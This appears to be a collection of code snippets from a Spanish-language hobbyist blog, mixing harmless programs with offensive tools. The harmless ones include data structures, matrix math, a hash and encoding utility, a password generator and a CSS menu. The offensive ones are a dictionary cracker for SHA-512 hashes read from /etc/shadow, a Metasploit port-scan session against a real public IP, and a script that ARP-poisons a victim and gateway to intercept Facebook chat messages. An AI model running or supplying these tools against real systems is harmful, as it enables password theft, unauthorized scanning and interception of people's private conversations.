#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import os,sys
import crypt
import argparse
 
autor = '[Z]tuX'
mail = '[email protected]'
web = 'http://ztux.blogspot.com'
version = 1.0
caracteres = ['!','*','x']
 
usuarios = []
passwordsCifrados = []
 
def banner():
    print """
      ____                _                  
 ____/ ___|_ __ __ _  ___| | __
|_  / |   | '__/ _` |/ __| |/ / 
 / /| |___| | | (_| | (__|   < 
/___|\____|_|  \__,_|\___|_|\_|
                                  
"""
     
     
def info():
    print 'Autor: '+autor
    print 'Mail: '+mail 
    print 'Sitio web: '+web
    print "Versión del programa: "+str(version)
     
     
def crackear(usuario,passwordCifrado,diccionario,verbose):
    print "[*] Trabajando en "+usuario
    cifrado=passwordCifrado.split('$')[1]
    if cifrado!= '6':
        print "[-] No se ah detectado hash SHA-512"
        return -1
    salt = passwordCifrado.split('$')[2]
    insalt = '$'+cifrado+'$'+salt+'$'
    if verbose:
        print "[*] Salt: "+salt
        print "[*] inSalt: "+insalt
    listaPass = open(diccionario,'r')
    print "[+] Crackeando Password..."
    for palabra in listaPass.readlines():
        palabra=palabra.strip('\n')
        password = crypt.crypt(palabra,insalt)
        if (password == passwordCifrado):
            print "[+] Password encontrado para "+usuario+": "+ palabra+"\n"
            return 0
    print '[-] Password NO encontrado.\n'   
    return 0
     
 
def main():
    parse = argparse.ArgumentParser(description='Password Cracker by '+autor)
    parse.add_argument('-i','--info',action='store_true',dest='info',help='Muestra información del programador')
    parse.add_argument('-v','--verbose',action='store_true',dest='verbose',help="Muestra mas información")
    parse.add_argument('-d','--diccionario',action='store',dest='diccionario',help="Diccionario para crackear la Password")
    parse.add_argument('-a', action='store', dest='archivo', help='Ruta del archivo a crackear, ejemplo: \'/etc/shadow\'')
    argumento=parse.parse_args()
    if argumento.info==True:
        info()
        exit
    elif argumento.archivo==None:
        print "Falta especificar la ruta del archivo a crackear."
        parse.print_help()
        exit
    else:
        banner()
        if argumento.verbose:
            print "[!] Modo verbose esta encendido."
        listaPasswds = open(argumento.archivo,'r')
        for linea in listaPasswds.readlines():
            linea = linea.replace("\n",' ').split(':')
            if not linea[1] in caracteres:
                usuario = linea[0]
                passwordCifrado = linea[1]
                usuarios.append(usuario)
                passwordsCifrados.append(passwordCifrado)
        if argumento.verbose:
            print "Usuarios encontrados en el sistema:"
            for i in range(0,len(usuarios)):
                print usuarios[i]+" => "+passwordsCifrados[i]
            print "Crackeando usuarios:"
        for i in range(0,len(usuarios)):
            crackear(usuarios[i],passwordsCifrados[i],argumento.diccionario,argumento.verbose)         
        exit        
                      
if __name__=="__main__":
    main()

#include <stdio.h>
#include <stdlib.h>
 
/* Ejemplo de Lista Simplemente Enlazada
 * [Z]tuX
 * http://ztux.blogspot.com/
 */
 
typedef struct Node{
    struct Node *next;
    int data;
}node;
 
node *newList(node *list);
node *insertInList(int data,node *list);
void showList(node *list);
int isEmpty(node *list);
 
 
int main(){
    node *LISTA = newList(LISTA);
    LISTA=insertInList(5,LISTA);
    LISTA=insertInList(6,LISTA);
    LISTA=insertInList(90,LISTA);
    LISTA=insertInList(0,LISTA);
    LISTA=insertInList(915,LISTA);
    showList(LISTA);
    return 0;
}
 
node *newList(node *list){
    return(list=NULL);
}
 
int isEmpty(node *list){
    return (list==NULL);
}
 
node * insertInList(int data,node *list){
    node * new_Node;
    new_Node = (node*)malloc(sizeof(node));
    node * aux;
    //First, check if the new node is not NULL
    if(new_Node!=NULL){
        new_Node->data=data;
        new_Node->next=NULL;
        if(isEmpty(list)){
            //If the list is empty...
            list=new_Node;
        }else{
            //If not is empty...
            aux = list;
            while(aux->next!=NULL){
                aux=aux->next;
            }
            aux->next=new_Node;
        }
    }else{
        printf("[!]There isn't space in memory...");
    }
    return list;
}
 
void showList(node *list){
    node *aux;
    for(aux=list;aux!=NULL;aux=aux->next){
        printf("Data: %d\n",aux->data);
    }
}

#!/usr/bin/env python3
 
#It Works with Python 3.x.x
# -*- coding:UTF-8 -*-
 
import sys, base64, hashlib, hmac
 
name = "CifraMe"
ver = "2.7"
author = "@_ZtuX_"
 
listHash=["-md5","-sha","-sha256","-sha384","-sha512","-hmac","-b64","-db64"]
 
def banner():
    print ("""
 ___ _________   _            __   __    
|  _|___  /_  | | |           \ \ / /    
| |    / /  | | | |_   _   _   \ V /     
| |   / /   | | | __| | | | |  /   \     
| | ./ /___ | | | |_  | |_| | / /^\ \    
| |_\_____/_| |  \__|  \__,_| \/   \/    
|___|     |___|                        
    """)
 
class CifraMe:
    def __init__(self,string,hash):
        self.string=string
        self.hash=hash
    def md5(self):       
        return (hashlib.md5((self.string).encode()).hexdigest())
    def sha(self):
        return hashlib.sha1((self.string).encode()).hexdigest()
    def sha256(self):
        return hashlib.sha256((self.string).encode()).hexdigest()
    def sha384(self):
        return hashlib.sha384((self.string).encode()).hexdigest()
    def sha512(self):
        return hashlib.sha512((self.string).encode()).hexdigest()
    def Hmac(self):
        return hmac.new((self.string).encode()).hexdigest()
    def code_base64(self):
        new = base64.b64encode((self.string).encode('ascii'))
        return (new.decode())
    def decode_base64(self):
        new = " "
        try:
            new = base64.b64decode((self.string).encode('ascii'))
        except:
            print ("Palabra erronea")
        return (new.decode())
    @property
    def tamanioString(self):
        return len(self.string)
     
         
def showHelp():
    print ("""
      _  __           ______  ___    ___ 
     (_)/ _|         |  _|  \/  |   |_  |
  ___ _| |_ _ __ __ _| | | .  . | ___ | |
 / __| |  _| '__/ _` | | | |\/| |/ _ \| |
| (__| | | | | | (_| | | | |  | |  __/| |
 \___|_|_| |_|  \__,_| |_\_|  |_/\___|| |
                     |___|          |___|    
==============================================
   Visita: http://ztux.blogspot.com/
==============================================
[+] Modo de uso: %s [Palabra] [Hash]
[+] Ejemplo: %s Cifrar_esto -md5
    
-h         Muestra esto en pantalla
-v         Muestra la Version del Programa
    
-md5       Cifrar en MD5
-sha       Cifrar en sha1
-sha256    Cifrar en sha256
-sha384    Cifrar en sha384
-sha512    Cifrar en sha512
-hmac      Cifrar en hmac
  
-b64       Codifica en base64
-db64      Decodifica en base64
"""%(sys.argv[0],sys.argv[0]))
 
def main():
    if (len(sys.argv)==1) or sys.argv[1].lower()=="-h" or sys.argv[1].lower()=="--help":
        showHelp()
    elif (len(sys.argv) > 3):
        print ("ERROR...\nModo de uso: %s [Palabra] [Hash]"%(sys.argv[0]))
    elif (sys.argv[1].lower()=='-v' or sys.argv[1].lower()=='--version'):
        print ("%s version: %s\nAutor: %s"% (name,ver,author))
    elif (sys.argv[1].lower()=='-b'):
        banner()
    elif (len(sys.argv)==3):
        """Si hay tres argumentos entonces podemos cifrar a gusto"""
        #Checks if second argument is correct 
        hash = sys.argv[1].lower()
        string = sys.argv[2] 
        if (hash in listHash):
            cadena = CifraMe(string,hash) 
            #Identify Hash
            pos = listHash.index(hash)
            if (pos==0):
                print (cadena.md5())
            elif (pos==1):
                print (cadena.sha())
            elif (pos==2):
                print (cadena.sha256())
            elif (pos==3):
                print (cadena.sha384())
            elif (pos==4):
                print (cadena.sha512())
            elif (pos==5):
                print (cadena.Hmac())
            elif (pos==6):
                print (cadena.code_base64())
            elif (pos==7):
                print (cadena.decode_base64())
            return (0)
        else:
            print ("La hash %s no es valida" % (hash) )
            return (-1)
    else:
        print ("Error: usa -h o --help para mas información")
         
if __name__ == '__main__':
 main()

#include <stdio.h>
#include <stdlib.h>
#include <memory.h>

/*
By ZtuX 2012
Metodo LU
[email protected]
http://ztux.blogspot.mx/
*/

void ShowMatrix(float **Matrix, int n);
void CreateMatrix(float **Matrix, int n);
void Llenar(float **Matrix, int n);
float **SolveGaussJordan(int n, float **MatrixA, float **MatrixB);

int main(){
    int n,i,j,s,k;
    float **L=NULL,**U=NULL,**A=NULL,Suma=0,Op=0,*Ap,Numer=0,Denom=0;
	printf("Resolver por mtodo de Factorizacion LU\nIngrese el numero de Variables: ");
	scanf("%i",&n);
    //Crear la Matriz A
    if((A=(float**)malloc(n*sizeof(float*)))==NULL){
        printf("[!] Insuficiente espacio en la Memoria\n");
        return -1;
    }
	A=(float**)malloc((n)*sizeof(float));
	for(i=0;i<n+1;i++){
        A[i]=(float*)malloc(sizeof(float));
	}
    /*Creamos la Matriz L*/
    if((L=(float**)malloc(n*sizeof(float*)))==NULL){
        printf("[!] Insuficiente espacio en la Memoria\n");
        return -1;
    }
    L=(float**)malloc(n*sizeof(float));
    for(i=0;i<n;i++){
        L[i]=(float*)malloc(n*sizeof(float));
    }
    /*CREAR LA MATRIZ U*/
    if((U=(float**)malloc(n*sizeof(float*)))==NULL){
        printf("[!] Insuficiente espacio en la Memoria\n");
        return -1;
    }
    U=(float**)malloc(n*sizeof(float));
    for(i=0;i<n;i++){
        U[i]=(float*)malloc(n*sizeof(float));
    }
    //Introducimos Valores a A
	for(i=0;i<n;i++){
        for(j=0;j<n+1;j++){
            printf("Introduce el valor [%i][%i]: ",i,j);
            scanf("%f",&A[i][j]);
        }
	}
	//MOSTRAMOS SISTEMA ECUACIONES
	printf("MATRIZ QUE REPRESENTA A EL SISTEMA DE ECUACIONES\n");
	for(i=0;i<n;i++){
	    printf("[");
        for(j=0;j<n+1;j++){
            printf("\t%0.2f\t",A[i][j]);
            if (j==n-1) printf("|");
        }
        printf("]\n");
	}
	//LENAR MATRICES DE CEROS
	Llenar(U,n);
	Llenar(L,n);
	Ap=&Suma;//Apuntamos a Suma
	//[!]AQUI EMPIEZA EL CALCULO DE LAS MATRICES L y U
	//DESDE k=1 HASTA n
	for(k=0;k<n;k++){
	    U[k][k]=1;
	    //SUMATORIA
	    for(s=0;s<=(k-1);s++){
            Op=L[k][s]*U[s][k];
            Suma+=Op;
	    }
	    //FIN SUMATORIA
	    L[k][k]=A[k][k]-Suma;
	    *Ap=0;
	    //DESDE i=(k+1) HASTA n
	    for(i=(k+1);i<n;i++){
	        //SUMATORIA
            for(s=0;s<=(k-1);s++){
                Op=L[i][s]*U[s][k];
                Suma+=Op;
            }
            //FIN SUMATORIA
            L[i][k]=A[i][k]-Suma;
            *Ap=0;
	    }
	    //FIN
	    //DESDE j=(k+1) HASTA n
	    for(j=(k+1);j<n;j++){
	        //SUMATORIA
            for(s=0;s<=(k-1);s++){
                Op=L[k][s]*U[s][j];
                Suma+=Op;
            }
            //FIN SUMATORIA
	        Numer=A[k][j]-Suma;
	        Denom=L[k][k];
            U[k][j]=Numer/Denom;
            *Ap=0;
	    }
	    //FIN
	}//FIN
	//[!]AQUI TERMINA EL CALCULO DE LAS MATRICES L y U
    printf("\nMatriz L:\n");
	ShowMatrix(L,n);
	printf("\nMatriz U:\n");
	ShowMatrix(U,n);
	//[!]RESOLVEREMOS LOS SISTEMAS DE ECUACIONES CON GAUSS-JORDAN
	//Ly=B	y depues PARA Ux=y y Se mostraran los valores de las incognitas =)
	printf("\n[+]Resolviendo Ly=b:\n");
	A=SolveGaussJordan(n,L,A); //Apuntamos la matriz que nos regresa a la Matriz A Nueva =)
	printf("\n[+]Resolviendo Ux=y:\n");
	SolveGaussJordan(n,U,A); // Se mostrara la matriz solucion al Sistema de Ecuaciones =)
	//LIBERAR MEMORIA
	for(i=0;i<n;i++){
        free(A[i]);
        free(L[i]);
        free(U[i]);
	}
    free(A);
	free(L);
	free(U);
	return 0;
}

void ShowMatrix(float **Matrix, int n){
    int i,j;
    for(i=0;i<n;i++){
        printf("[");
        for(j=0;j<n;j++) printf(" %0.2f ",Matrix[i][j]);
        printf("]\n");
    }
}

void CreateMatrix(float **Matrix, int n){
    int i,j;
	for(i=0;i<n;i++){
        for(j=0;j<n;j++){
            printf("Introduce el valor [%i][%i]: ",i,j);
            scanf("%f",&Matrix[i][j]);
        }
	}
}

void Llenar(float **Matrix, int n){
    int i; for(i=0;i<n;i++) memset(Matrix[i],0,n*sizeof(float));
}

float **SolveGaussJordan(int n, float **MatrixA, float **MatrixB){
    float **A, apoyo;
    int i, j, k;
    float matapoyo[n+1];
    A=(float**)malloc(sizeof(float*)*n);
    for(i=0;i<n+1;i++){
        A[i]=(float*)malloc(sizeof(float)*n);
    }
    for(i=0;i<n;i++){
        for(j=0; j<n+1; j++){
            if(j<=n-1) A[i][j]=MatrixA[i][j];
            else A[i][j]=MatrixB[i][j];
        }
    }
    printf("\t[-]Matriz ques representa el sistema:\n");
    for(i=0;i<n;i++){
        printf("[ ");
        for(j=0; j<n+1; j++){
            printf("\t%.2f\t", A[i][j]);
            }
        printf(" ]\n");
    }

    for(i=0;i<n;i++){
        k=1;
        do{
            apoyo=A[i][i];
            if(apoyo==0){
                for(j=0; j<n+1; j++){
                    matapoyo[j]=A[i][j];
                }
                for(j=0; j<n+1; j++){
                   A[i][j]=A[i+k][j];
                }
                for(j=0; j<n+1; j++){
                   A[i+k][j]=matapoyo[j];
                }
            }
            k++;
        }while(apoyo==0);

    for(j=0;j<n+1;j++) A[i][j]=A[i][j]/apoyo;

    for(j=0;j<n+1;j++){
        if(i!=j){
            apoyo=-1*A[j][i];
            for(k=0; k<n+1; k++){
                A[j][k]=A[j][k]+(apoyo*A[i][k]);
            }
        }
    }
    printf("\n");
    for(j=0;j<n;j++){
        printf("[ ");
        for(k=0; k<n+1; k++){
            printf("\t%.2f\t", A[j][k]);
        }
        printf(" ]\n");
      }
    }
    return A;
}

#!/bin/bash
#By [Z]tuX | [email protected]
#GENERADOR DE PASSWORDS
#http://ztux.blogspot.com

Autor="[Z]tuX"
Web="http://codes-mx.blogspot.com"
Ver="1.0"

#Rango 
MIN=1
MAX=512

Help(){
	echo "Sintaxis:"
	echo "$0 [Longitud]"
  	echo "Ejemplo: $0 10"
  	echo ""
  	echo "Opciones:"
  	echo "$0 -h        Muestra la ayuda"
  	echo "$0 -v        Muestra la versión del Script"
  	exit 1
}

Version(){
	echo "By: $Autor"
	echo "Web: $Web"
	echo "Version: $Ver"
        exit 1
}

if [ "$1" = "-h" ]; then
	Help
elif [ "$1" = "-v" ]; then
	Version
elif [ "$1" = "" ]; then
 	echo "Faltan argumentos, escriba -h para mostrar la ayuda"
 	exit 1
else
 	if [[ $1 -le $MIN || $1 -ge $MAX ]];then
  		echo "El rango es de $MIN a $MAX"
 	else
  		LongPass=$1
  		Pass=$(strings /dev/urandom | grep -o '[[:alnum:]]' | head -n $LongPass | tr -d '\n'; echo)
  		echo "Password generado: $Pass"
 	 	read -p "Deseas guardarlo en un archivo de Texto[?] (s/N): " RESP 
  		RESP=$(echo $RESP | tr 'a-z' 'A-Z')
 
  		if [ "$RESP" = "" ]; then
   			RESP="N"
  		fi
		case "$RESP" in
   			S)
    			echo "Password = $Pass">pass.txt
    			exit 0
    			;;
   			N)
    			exit 0 
    			;;
   			*)
    			echo "Opcion no valida... Saliendo"
    			exit 1
    			;;
   		esac
 	fi
fi

chmod +x passgen

#include <stdio.h>

int main(){
    int matriz[1][1];
    matriz[0][0]=1;
    matriz[0][1]=2;
    matriz[1][0]=3;
    matriz[1][1]=4;

    printf("%d",matriz[0][1]);
    return 0;

}

#include <iostream>
using namespace std;
//FACTORIAL DE UN NUEMRO | [Z]tuX |  MundoHacking.com
int main()
{
	int factorial; //Variable para el valor que deseamos calcular el factorial
	int i=1,x; 
	cout<<"Calcular factorial de: ";
	cin>>factorial; //Leemos el valor que queremos calcular 
	x =factorial; 
	if (factorial < 0) //Si el numero es menor a 0
	{
		cout<<"Numero no Valido..."<<endl; 
	}	                                  
	else //Si es mayor a cero entonces...
		{
			while (factorial>0) //Mientras el numero que introducimos es mayor a 0
			{
			i = factorial*i; //la literal i tomará el valor de el numero introducido por el valor de i
			factorial--; //A el valor que introducimos se le restará una unidad
			}
			cout<<"El factorial de "<<x<<" es "<< i<<endl; //Al final mostrara el factorial del numero
		}
	return 0; //Retorna un entero y el programa termina con éxito...
}

msfconsole

search portscan

use scanner/portscan/tcp

show options

Module options (auxiliary/scanner/portscan/tcp):
 
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   FILTER                        no        The filter string for capturing traffic
   INTERFACE                     no        The name of the interface
   PCAPFILE                      no        The name of the PCAP capture file to process
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   SNAPLEN      65535            yes       The number of bytes to capture
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds
   VERBOSE      false            no        Display verbose output

msf auxiliary(tcp) > set PORTS 1-100
PORTS => 1-100
msf auxiliary(tcp) > set RHOSTS 69.175.84.66
RHOSTS => 69.175.84.66
msf auxiliary(tcp) > set THREADS 50
THREADS => 50

run

msf auxiliary(tcp) > run
 
[*] 69.175.84.66:26 - TCP OPEN
[*] 69.175.84.66:21 - TCP OPEN
[*] 69.175.84.66:53 - TCP OPEN
[*] 69.175.84.66:80 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

#!/bin/Python
# -*- coding: cp1252 -*-
import sys, base64, hashlib, hmac
from string import maketrans
 
#Codificacion con maketrans
ZtuX=maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK<Z#CVB/M@&\*.;_^{}")
#Decodificación con makeTrans
Ztux=maketrans("m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK<Z#CVB/M@&\*.;_^{}","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
 
def _md5(palabra):
    return hashlib.md5(palabra).hexdigest()
def code_base64(palabra):
    return base64.b64encode(palabra)
def decode_base64(palabra):
    return base64.b64decode(palabra)
def ztux(palabra):
    return palabra.translate(ZtuX)
def dztux(palabra):
    return palabra.translate(Ztux)
def sha1(palabra):
    return hashlib.sha1(palabra).hexdigest()
def sha256(palabra):
    return hashlib.sha256(palabra).hexdigest()
def sha384(palabra):
    return hashlib.sha384(palabra).hexdigest()
def sha512(palabra):
    return hashlib.sha512(palabra).hexdigest()
def Hmac(palabra):
    return hmac.new(palabra).hexdigest()
 
     
def run():
    ver='2.0'
    if (len(sys.argv)==1) or sys.argv[1]=="-h" or sys.argv[1]=="--help":
        print """
===========================================
                  ZtuX                    
===========================================
Visita: http://z0kw3r-syst3m.blogspot.com/
===========================================
>>>Modo de uso: cript.py [Palabra] [Hash]
>>>Ejemplo: cript.py Encriptar_esto -md5
 
-h         Muestra esto en pantalla
-v         Muestra la Version del Programa
-md5       Codifica en MD5
-base64    Codifica en base64
-dbase64   Decodifica en base64
-ztux      Codifica en ZtuX
-dztux     Decodifica ZtuX
-sha       Codifica en sha1
-sha256    Codifica en sha256
-sha384    Codifica en sha384
-sha512    Codifica en sha512
-hmac      Codifica en hmac
"""
    elif sys.argv[1]=='-v' or sys.argv[1]=='--version':
        print "Cript version: " + ver + "\nAutor: ZtuX"
    elif sys.argv[2]=='-md5':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%_md5(palabra)
    elif sys.argv[2]=='-base64':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%code_base64(palabra)
    elif sys.argv[2]=='-dbase64':
        palabra=sys.argv[1]
        print 'Texto Decodificado: %s'%decode_base64(palabra)
    elif sys.argv[2]=='-ztux':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%ztux(palabra)
    elif sys.argv[2]=='-dztux':
        palabra=sys.argv[1]
        print 'Texto Decodificado: %s'%dztux(palabra)
    elif sys.argv[2]=='-sha':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%sha1(palabra)
    elif sys.argv[2]=='-sha256':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%sha256(palabra)
    elif sys.argv[2]=='-sha384':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%sha384(palabra)
    elif sys.argv[2]=='-sha512':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%sha512(palabra)
    elif sys.argv[2]=='-hmac':
        palabra=sys.argv[1]
        print 'Texto Codificado: %s'%Hmac(palabra)
    else:
        print 'Debes indicar Frase y hash a encriptar...'
        print 'Para mas informacion teclea -h o --help o -ayuda' 
 
run()

ZtuX
Visita: http://z0kw3r-syst3m.blogspot.com/
Modo de uso: cript.py [Palabra] [Hash]
Ejemplo: cript.py Encriptar_esto -md5

-h         Muestra la Ayuda
-v         Muestra la Version del Programa
-md5       Codifica en MD5
-base64    Codifica en base64
-dbase64   Decodifica en base64
-ztux      Codifica en ZtuX
-dztux     Decodifica ZtuX
-sha       Codifica en sha1
-hmac      Codifica en hmac

#!/bin/Python
# -*- coding: cp1252 -*-
import sys
import base64
import hashlib
from string import maketrans
import hmac
 
#Codificacion con maketrans
ZtuX=maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK$Z#CVB/M@&\*.;_^{}")
#Decodificación con makeTrans
Ztux=maketrans("m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK$Z#CVB/M@&\*.;_^{}","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
 
def _md5(palabra):
    txt=hashlib.md5()
    txt.update(palabra)
    print 'Texto Codificado: ',txt.hexdigest()
def code_base64(palabra):
    print 'Texto Codificado: ', base64.b64encode(palabra)
def decode_base64(palabra):
    print 'Texto Decodificado: ', base64.b64decode(palabra)
def ztux(palabra):
    print 'Texto Codificado: ',palabra.translate(ZtuX)
def dztux(palabra):
    print 'Texto Decodificado: ',palabra.translate(Ztux)
def sha1(palabra):
    print 'Texto Codificado: ',hashlib.sha1(palabra).hexdigest()
def Hmac(palabra):
    print 'Texto Codificado: ',hmac.new(palabra).hexdigest()
 
     
def run():
    ver='1.0'
    if len(sys.argv) == 1 or sys.argv[1]=="-h" or sys.argv[1]=="--help":
        print """
ZtuX
Visita: http://z0kw3r-syst3m.blogspot.com/
Modo de uso: cript.py [Palabra] [Hash]
Ejemplo: cript.exe Encriptar_esto -md5
 
-h         Muestra la Ayuda
-v         Muestra la Version del Programa
-md5       Codifica en MD5
-base64    Codifica en base64
-dbase64   Decodifica en base64
-ztux      Codifica en ZtuX
-dztux     Decodifica ZtuX
-sha       Codifica en sha1
-hmac      Codifica en hmac
"""
    elif sys.argv[1]=='-v' or sys.argv[1]=='--version':
        print "Cript version: " + ver + "\nAutor: ZtuX"
    elif sys.argv[2]=='-md5':
        palabra=sys.argv[1]
        _md5(palabra)
    elif sys.argv[2]=='-base64':
        palabra=sys.argv[1]
        code_base64(palabra)
    elif sys.argv[2]=='-dbase64':
        palabra=sys.argv[1]
        decode_base64(palabra)
    elif sys.argv[2]=='-ztux':
        palabra=sys.argv[1]
        ztux(palabra)
    elif sys.argv[2]=='-dztux':
        palabra=sys.argv[1]
        dztux(palabra)
    elif sys.argv[2]=='-sha':
        palabra=sys.argv[1]
        sha1(palabra)
    elif sys.argv[2]=='-hmac':
        palabra=sys.argv[1]
        Hmac(palabra)
    else:
        print 'Debes indicar Frase y hash a encriptar...'
        print 'Para mas informacion teclea -h o --help'
 
 
run()

from distutils.core import setup
import py2exe
setup(console=['TuArchivo.py'])

python setup.py py2exe 

#!/bin/python
#TEOREMA DE PITAGORAS
#By ZtuX
 
import math

def CO(h,a):
    operacion = math.sqrt((h*h)-(a*a))
    print 'El Cateto Opuesto Vale: ',operacion
    
    
def CA(h,o):
    operacion = math.sqrt((h*h)-(o*o))
    print 'El Cateto Adyacente Vale: ',operacion
    
def HIP(o,a):
    operacion = math.sqrt((o*o)+(a*a))
    print 'La hipotenusa Vale: ',operacion

def main():
    print 'Teorema de Pitagoras'
    print '''
    [1] Cateto Opuesto
    [2] Cateto Adyacente
    [3] Hipotenusa
    '''
    opc=input('Que deseas calcular[?] ')
    if opc ==1:
        a=input("Cateto Adyacente[?]: ")
        h=input("Hipotenusa[?]: ")
        CO(h,a)
    elif opc==2:
        o=input("Cateto Opuesto[?]: ")
        h=input("Hipotenusa[?]: ")
        CA(h,o)
    elif opc==3:
        o=input("Cateto Opuesto[?]: ")
        a=input("Cateto Adyacente[?]: ")
        HIP(o,a)
    elif opc !=4:
        print '>>>Tu opcion no es correcta'
        raw_input()
        main()
    else:
        exit()
 
main()    

sudo apt-get install python-dpkt python-pypcap dsniff

#!/usr/bin/env python
#-*-encoding:utf8-*-

""" 2011 vdo.pure at gmail.com"""

''' Traducido por ZtuX... secret.user8[at]gmail[dot].com'''

"""

     Este programa es software libre: Usted puede redistribuirlo y / o modificar
     bajo los términos de la licencia GNU General Public License publicada por
     la Free Software Foundation, bien de la versión 3 de la Licencia, o
     (a su elección) cualquier versión posterior.

     Este programa se distribuye con la esperanza de que sea útil,
     pero SIN NINGUNA GARANTÍA, incluso sin la garantía implícita de
     COMERCIALIZACIÓN o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la
     Licencia Pública General GNU para más detalles.

     Usted debería haber recibido una copia de la Licencia Pública General GNU
     junto con este programa. Si no, vaya a http://www.gnu.org/licenses/>.
"""
import sys, os
import dpkt, pcap

def check_root():
    """ Devuelve Verdadero (True) si el usuario es root, de lo contrario Falso (False) """
    if os.getenv('LOGNAME','none').lower() == 'root':
        return True
    return False

def poison(iface,victim, gw):
  """ IP Forwarding """
  os.system("sysctl -w .net.ipv4.ip_forward=1 > /dev/null")
  """ ARP cache poisoning, silent, in both directions """
  os.system("arpspoof -i "+iface+" -t "+victim+" "+gw+" 2> /dev/null &")
  os.system("arpspoof -i "+iface+" -t "+gw+" "+victim+" 2> /dev/null &")
  print("Envenenamiento de Cache ARP...")


def fbchatgrep(p,pid):
    data = str(p.data)
    if ("{\"t\":\"msg") and ("\"type\":\"msg\"") in data:
      msgid=data[data.find("\"msgID\":")+9:data.rfind("\"},\"from\":")]  
      if (pid != msgid ): #Comprobar si el mensaje apareció antes (ARP poison clones)
        pid = msgid
        print(" ")
        s = "Mensaje de: "+data[data.find("from_name\":\"")+12:data.rfind("\",\"from_first_name")]
        print(unicode(s,'unicode_escape').encode('utf-8'))
        s = "Para: "+data[data.find("to_name\":\"")+10:data.rfind("\",\"to_first_name")]
        print(unicode(s,'unicode_escape').encode('utf-8'))
        s = data[data.find("\"text\":")+8:data.rfind(",\"time\"")-1]
        print(unicode(s,'unicode_escape').encode('utf-8'))
        print(" ")
    return pid
        
if __name__ == '__main__':
  if len(sys.argv) < 4:
    print '''Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py <Intefaz> <Victima> <Gateway>
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254'''
    sys.exit(0)
  if not check_root():
    print 'Debes ser SuperUsuario'
    sys.exit(1)

  pid="fo bar" 
  pc = pcap.pcap(sys.argv[1])
  pc.setfilter('tcp and port 80') #Sniff only http

  try:
    print 'Escuchando en: %s' % (pc.name)
    print 'Para Salir teclea: Control+C'
    poison(sys.argv[1],sys.argv[2],sys.argv[3])
    for ts, pkt in pc:
      packet = dpkt.ethernet.Ethernet(pkt)
      pid = fbchatgrep(packet,pid)

  except KeyboardInterrupt:
    os.system("sysctl -w .net.ipv4.ip_forward=0 > /dev/null") # Deshabilitar IP Delantera
    nrecv, ndrop, nifdrop = pc.stats()
    print '\n%d packets received by filter' % nrecv
    print '%d packets dropped by kernel' % ndrop

chmod +x sniff.py

./sniff.py

./sniff.py
Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py <Intefaz> <Victima> <Gateway>
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254

<html>
<head><title>Menu Con CSS by ZtuX</title>
<style type="text/css">
#menu
{
  background-color:#000;
  width: 800px;
  margin:auto;
  border:1px solid;
  border-radius: 1px;
  -moz-border-radius: 10px;
  -webkit-border-radius: 10px;
  text-align:center;
}
.lista
{
display:inline;
}
.lista a
{
  color:#0f0;
  list-style:none;
  display:inline;
  padding: 15px;
  list-style:none;
  text-decoration:none;
}
.lista a:hover
{
  color:#0f0;
  background-color:#333;
  list-style:none;
  display:inline;
  padding: 5px;
  text-decoration:none;
  list-style:none;
  link:none;
  border:1px solid;
  border-radius: 1px;
  -moz-border-radius: 10px;
  -webkit-border-radius: 10px;
}
</style>
</head>

<body>

<h1 align="center">Menú Básico con HTML/CSS</h1>

<ul id="menu">
   <li class="lista"><a href="#">Inicio</a></li>
   <li class="lista"><a href="#">Mis productos</a></li>
   <li class="lista"><a href="#">Sobre Mi</a></li>
   <li class="lista"><a href="#">Contacto</a></li>
   <li class="lista"><a href="#">Mas</a></li>
   <li class="lista"><a href="#">Mas</a></li>
   <li class="lista"><a href="#">Mas</a></li>
   <li class="lista"><a href="#">Mas</a></li>
</ul>

</body>
</html>